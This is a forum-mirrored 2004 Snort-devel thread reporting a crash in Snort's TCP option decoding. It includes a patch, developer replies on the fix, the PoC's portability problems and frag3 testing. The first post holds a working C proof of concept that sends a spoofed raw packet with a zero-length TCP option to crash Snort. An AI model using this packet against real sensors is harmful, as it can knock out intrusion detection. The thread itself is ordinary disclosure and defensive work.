Web Server forum
Back To The Forum Home!Search!Private Messaging System

This is Interesting: Free IT Magazines Now Free shipping to   
Web Server Talk Web Server Talk > Server Security > Snort > Snort Dev > [Snort-devel] Snort >= 2.1.3 TCP/IP options bug




Pages (2): [1] 2 »   Last Thread   Next Thread Next
  Show Printable Version Email this Page Subscribe to this Thread      Post New Thread    Post A Reply      

    [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Marcin Z.


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-03-04 01:48 AM

Hi,
I've recently found a bug in DecodeTCPOptions() in decode.c and probably
DecodeIPOptions() (but not tested). When we run Snort in sniffer mode like:
% snort -dev -i lo
and send a packet with bad TCP option length (a proof of concept code includ
ed
in this message) program exits with Segmentation Fault. I've written a patch
for version 2.2.0, see below.

System: Linux x86, kernel 2.4.27.
Affected versions: from 2.1.3 up to 2.2.0

Marcin Zgorecki
mz (at) risp (dot) pl


diff -Nu snort-2.2.0/src/decode.c decode.c
--- snort-2.2.0/src/decode.c	2004-06-03 22:11:05.000000000 +0200
+++ decode.c	2004-10-02 12:39:56.000000000 +0200
@@ -3055,6 +3055,9 @@
}
}

+	if (code < 0)
+		return;
+
option_ptr += byte_skip;
}

@@ -3159,6 +3162,9 @@
return;
}

+	if (code < 0)
+		return;
+
if(!done)
opt_count++;


// ----------------------------------------------------------- //

Some code:
/*
* snort >= 2.1.3 TCP/IP options bug proof of concept
* by Marcin Zgorecki
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define DADDR	"127.0.0.1"

int main(int argc, char **argv)
{
int s;
/* TCP MSS option, should be: "\x02\04\xff\xff" */
char opts[] = "\x02\x00\xff\xff";
char datagram[64];
struct sockaddr_in addr;
struct ip *ip = (struct ip *) datagram;
struct tcphdr *tcp;

memset(&datagram, 0, sizeof(datagram));
addr.sin_addr.s_addr = inet_addr(DADDR);
addr.sin_port = htons(123);
addr.sin_family = AF_INET;

ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_len = 44;
ip->ip_sum = 0;
ip->ip_dst.s_addr = addr.sin_addr.s_addr;
ip->ip_src.s_addr = inet_addr("1.2.3.4");

tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2));
tcp->source = htons(321);
tcp->dest = addr.sin_port;
tcp->seq = 0;
tcp->ack = 0;
tcp->res1 = 0;
tcp->doff = 6;
tcp->syn = 0;
tcp->window = 0x1000;
tcp->check = 0;
tcp->urg_ptr = 0;

memcpy(datagram + 40, opts, sizeof(opts));

if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("socket");
exit(0);
}

if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr,
sizeof(struct sockaddr_in)) == -1) {
perror("sendto");
exit(-1);
}

printf("packet sent!\n");

close(s);
return 0;
}



-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Evrim ULU


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-08-04 10:46 PM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Marcin Z. wrote:
| Hi,
| I've recently found a bug in DecodeTCPOptions() in decode.c and probably
| DecodeIPOptions() (but not tested). When we run Snort in sniffer mode
like:
| % snort -dev -i lo
|
| System: Linux x86, kernel 2.4.27.
| Affected versions: from 2.1.3 up to 2.2.0
|

Nobody from snort team approved this. Would they? Or is it fixed on the
latest cvs release?  Or its non existent?

Evrim.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

 iD8DBQFBZpl7R2rUfDW+YFIRArKoAKCKPM0zlr+A
qdUntwxeJqh46QUddwCeJB8l
0asU0ABg+RNHYAAyiA4US7s=
=wI0X
-----END PGP SIGNATURE-----


-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Daniel Roelker


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-08-04 10:46 PM

This was checked in by Jeremy a few days ago.  You can check the cvs
mailing list for bug fixes.  It will be available in the snort 2.3
release.  Since this primarily only affected decoding print out (-dve as
options), it's currently not considered a major bug and has not caused
any problems with snort running in IDS mode.

Dan

On Fri, 2004-10-08 at 09:43, Evrim ULU wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Marcin Z. wrote:
> | Hi,
> | I've recently found a bug in DecodeTCPOptions() in decode.c and probably
> | DecodeIPOptions() (but not tested). When we run Snort in sniffer mode
> like:
> | % snort -dev -i lo
> |
> | System: Linux x86, kernel 2.4.27.
> | Affected versions: from 2.1.3 up to 2.2.0
> |
>
> Nobody from snort team approved this. Would they? Or is it fixed on the
> latest cvs release?  Or its non existent?
>
> Evrim.
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
>  iD8DBQFBZpl7R2rUfDW+YFIRArKoAKCKPM0zlr+A
qdUntwxeJqh46QUddwCeJB8l
> 0asU0ABg+RNHYAAyiA4US7s=
> =wI0X
> -----END PGP SIGNATURE-----
>
>
> -------------------------------------------------------
> This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
> Use IT products in your business? Tell us what you think of them. Give us
> Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out mor
e
> http://productguide.itmanagersjourn...guidepromo.tmpl
>  ________________________________________
_______
> Snort-devel mailing list
> Snort-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists...nfo/snort-devel
>
--
Daniel Roelker
Lead Snort Developer
Sourcefire, Inc.



-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Jeff Nathan


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:50 AM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

To follow up Dan's comment the proof of concept code attached to the
original message was non-portable (I don't mean to be rude when I say
that I'm surprised the proof-of-concept code ran at all in its original
form).

If anyone attaches proof of concept code to a bug report, please write
portable code.

- -Jeff

On Oct 8, 2004, at 10:42 AM, Daniel Roelker wrote:

> This was checked in by Jeremy a few days ago.  You can check the cvs
> mailing list for bug fixes.  It will be available in the snort 2.3
> release.  Since this primarily only affected decoding print out (-dve
> as
> options), it's currently not considered a major bug and has not caused
> any problems with snort running in IDS mode.
>
> Dan
>
> On Fri, 2004-10-08 at 09:43, Evrim ULU wrote: 
> --
> Daniel Roelker
> Lead Snort Developer
> Sourcefire, Inc.
>
>
>
> -------------------------------------------------------
> This SF.net email is sponsored by: IT Product Guide on
> ITManagersJournal
> Use IT products in your business? Tell us what you think of them. Give
> us
> Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out
> more
> http://productguide.itmanagersjourn...guidepromo.tmpl
>  ________________________________________
_______
> Snort-devel mailing list
> Snort-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists...nfo/snort-devel
>

- --
The original EZ-bake packet oven.
http://nemesis.sourceforge.net
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFBbFW2Eqr8+Gkj0/ 0RAuNeAJ9pZydb9xZkQiuOEQ5nvQMAdPLyIACffW
Ah
UNSanGnAL7oKbsNZXsZq/go=
=UWPB
-----END PGP SIGNATURE-----



-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Chris Green


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:50 AM

Jeff Nathan <jeff@snort.org> writes:
>
> If anyone attaches proof of concept code to a bug report, please write
> portable code.

Please don't point out people writing non-portable code without
atleast outlining what's non-portable..

It's much nicer to just ask for a pcap as well to see what's going on
if the PoC doesn't work for you.
--
Chris Green <cmg@dok.org>
Chicken's thinkin'


-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Evrim ULU


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:50 AM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jeff Nathan wrote:
| If anyone attaches proof of concept code to a bug report, please write
| portable code.
|

Hi,

which line is non-portable? or this is joke? (it is only 77 lines, how
non-portable can it be?) (yeah, i simply ignored win32 users, don't care
about them, they have to learn posix compliancy)

Evrim.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

 iD8DBQFBbV+3R2rUfDW+YFIRAkHpAJ4mRtFbLnz3
ibFAOjEGcj+qUMlcsgCePgcS
uAxO0gZTq1L2W+bPhiamFLc=
=dr5u
-----END PGP SIGNATURE-----


-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Martin Roesch


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:51 AM

Hey Evrim,

It looks like it was built on a linux system so the TCP data structures
don't map 1-to-1 over to *BSD systems.  It's also missing an include
file before netinet/ip.h for the definition of n_long, looks like it
needs in_systm.h on OS X.  Here's gcc output on my Mac (OS X 10.3.5):

[frylock ~]$ gcc -c poc.c
In file included from poc.c:11:
/usr/include/netinet/ip.h:178: error: parse error before "n_long"
/usr/include/netinet/ip.h:181: error: parse error before "n_long"
/usr/include/netinet/ip.h:183: error: parse error before '}' token
/usr/include/netinet/ip.h:184: error: parse error before '}' token
poc.c: In function `main':
poc.c:46: error: structure has no member named `source'
poc.c:47: error: structure has no member named `dest'
poc.c:48: error: structure has no member named `seq'
poc.c:49: error: structure has no member named `ack'
poc.c:50: error: structure has no member named `res1'
poc.c:51: error: structure has no member named `doff'
poc.c:52: error: structure has no member named `syn'
poc.c:53: error: structure has no member named `window'
poc.c:54: error: structure has no member named `check'
poc.c:55: error: structure has no member named `urg_ptr'

This is one of the reasons that I implement local protocol structs in
Snort for packet decoding, the code in /usr/include/netinet isn't
necessarily portable across platforms.

Just an FYI, thought you might be interested.

-Marty

On Oct 13, 2004, at 1:02 PM, Evrim ULU wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Jeff Nathan wrote:
> | If anyone attaches proof of concept code to a bug report, please
> write
> | portable code.
> |
>
> Hi,
>
> which line is non-portable? or this is joke? (it is only 77 lines, how
> non-portable can it be?) (yeah, i simply ignored win32 users, don't
> care
> about them, they have to learn posix compliancy)
>
> Evrim.
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.6 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
>  iD8DBQFBbV+3R2rUfDW+YFIRAkHpAJ4mRtFbLnz3
ibFAOjEGcj+qUMlcsgCePgcS
> uAxO0gZTq1L2W+bPhiamFLc=
> =dr5u
> -----END PGP SIGNATURE-----
>
>
> -------------------------------------------------------
> This SF.net email is sponsored by: IT Product Guide on
> ITManagersJournal
> Use IT products in your business? Tell us what you think of them. Give
> us
> Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out
> more
> http://productguide.itmanagersjourn...guidepromo.tmpl
>  ________________________________________
_______
> Snort-devel mailing list
> Snort-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists...nfo/snort-devel
>
>
--
Martin Roesch - Founder/CTO, Sourcefire Inc. - +1-410-290-1616
Sourcefire - Discover.  Determine.  Defend.
roesch@sourcefire.com - http://www.sourcefire.com
Snort: Open Source Network IDS - http://www.snort.org



-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Evrim ULU


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:51 AM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Martin Roesch wrote:
| Hey Evrim,
|
| It looks like it was built on a linux system so the TCP data structures
| don't map 1-to-1 over to *BSD systems.  It's also missing an include
| file before netinet/ip.h for the definition of n_long, looks like it
| needs in_systm.h on OS X.  Here's gcc output on my Mac (OS X 10.3.5):
|

Ok, send me the portable version then. Btw, could you post your unit
testing framework for frag3 module. W/o unit tests i can't debug it to
find bugs.

Evrim.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

 iD8DBQFBbqI3R2rUfDW+YFIRAoqSAKCtg4ohgrHu
3K44oUhy2ewjghPWGgCfV+91
BUOfBbbr7q14o6itKBsBFTo=
=1tZ7
-----END PGP SIGNATURE-----


-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Martin Roesch


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:51 AM

Hi Evrim,

I wasn't criticizing you, I was just pointing it out to answer your
question.

As for frag3, it's marked "experimental" for a reason...

The testing I have done on it so far includes multimode reassembly
using nemesis to generate packets in specific sequences to recreate the
Paxson test set results, fragroute runs including the problem areas
that Dug Song pointed out a couple years ago, a 900MB defcon pcap that
includes some extremely hostile fragmented traffic for stress testing
and verifying the multimode memory management, timeouts, and engine
selection logic, and data sets generated by the Sourcefire Research
Group.  We're also testing with Blade Software's IDS Informer in
various fragment modes.

Right now it's passing all of these tests but I wanted to get some
field time for the code which is why it's in CVS and marked
experimental right now, it looks like it works properly but until I see
some reports from users that it's working in their live environments
I'm not going to be happy with it.

As for a unit testing framework, all I have implemented so far is the
integrated DEBUG_WRAP'd statements that you can activate by adding
--enable-debug at the ./configure command line and setting
SNORT_DEBUG=131072 as an environment variable before you run Snort.
It's not an automated testing framework, but it gets the job done.  If
you want to see what's frag3 is up to, that'll show you and you can
determine if it's working properly in an empirical fashion (don't
forget the -dv flags so you can see the input packets).

-Marty



On Oct 14, 2004, at 11:58 AM, Evrim ULU wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Martin Roesch wrote:
> | Hey Evrim,
> |
> | It looks like it was built on a linux system so the TCP data
> structures
> | don't map 1-to-1 over to *BSD systems.  It's also missing an include
> | file before netinet/ip.h for the definition of n_long, looks like it
> | needs in_systm.h on OS X.  Here's gcc output on my Mac (OS X 10.3.5):
> |
>
> Ok, send me the portable version then. Btw, could you post your unit
> testing framework for frag3 module. W/o unit tests i can't debug it to
> find bugs.
>
> Evrim.
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.6 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
>  iD8DBQFBbqI3R2rUfDW+YFIRAoqSAKCtg4ohgrHu
3K44oUhy2ewjghPWGgCfV+91
> BUOfBbbr7q14o6itKBsBFTo=
> =1tZ7
> -----END PGP SIGNATURE-----
>
>
--
Martin Roesch - Founder/CTO, Sourcefire Inc. - +1-410-290-1616
Sourcefire - Discover.  Determine.  Defend.
roesch@sourcefire.com - http://www.sourcefire.com
Snort: Open Source Network IDS - http://www.snort.org



-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Re: [Snort-devel] Snort >= 2.1.3 TCP/IP options bug  
Evrim ULU


View Ip Address Report This Message To A Moderator Edit/Delete Message


 
10-16-04 01:51 AM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jeff Nathan wrote:

| Your question re: unit tests is fantastic.  Snort needs unit tests
| throughout the entire tree.
|

Yep, this is main problem i've seen about snort since nobody can verify
that snort does its job or not. DEBUG() statements can't replace unit
tests. I may suggest snort team to examine, apply XP immediately. Also,
one have to forget about make() and use ant. (maven is +)

Btw, i don't have any idea how to create mock object for an IDS system
but don't think its impossible. Mock systems can be created via pseudo
network devices.

Evrim.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

 iD8DBQFBblGkR2rUfDW+YFIRAh+uAJ97v6kojHtY
Zj3iqzODAQ1HtvfgugCcDfEF
WA0L3WrHz/uG0/uN0+NyrTc=
=EXIa
-----END PGP SIGNATURE-----


-------------------------------------------------------
This SF.net email is sponsored by: IT Product Guide on ITManagersJournal
Use IT products in your business? Tell us what you think of them. Give us
Your Opinions, Get Free ThinkGeek Gift Certificates! Click to find out more
http://productguide.itmanagersjourn...guidepromo.tmpl
 ________________________________________
_______
Snort-devel mailing list
Snort-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists...nfo/snort-devel





[ Post a follow-up to this message ]



    Sponsored Links  




 





   All times are GMT. The time now is 12:47 PM.      Post New Thread    Post A Reply      
Pages (2): [1] 2 »   Last Thread   Next Thread Next


Most Popular forums 

Forum Jump:
Rate This Thread:

Forum Rules:
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is OFF
vB code is ON
Smilies are ON
[IMG] code is OFF
 

Back To The Top
Home | Usercp | Faq | Register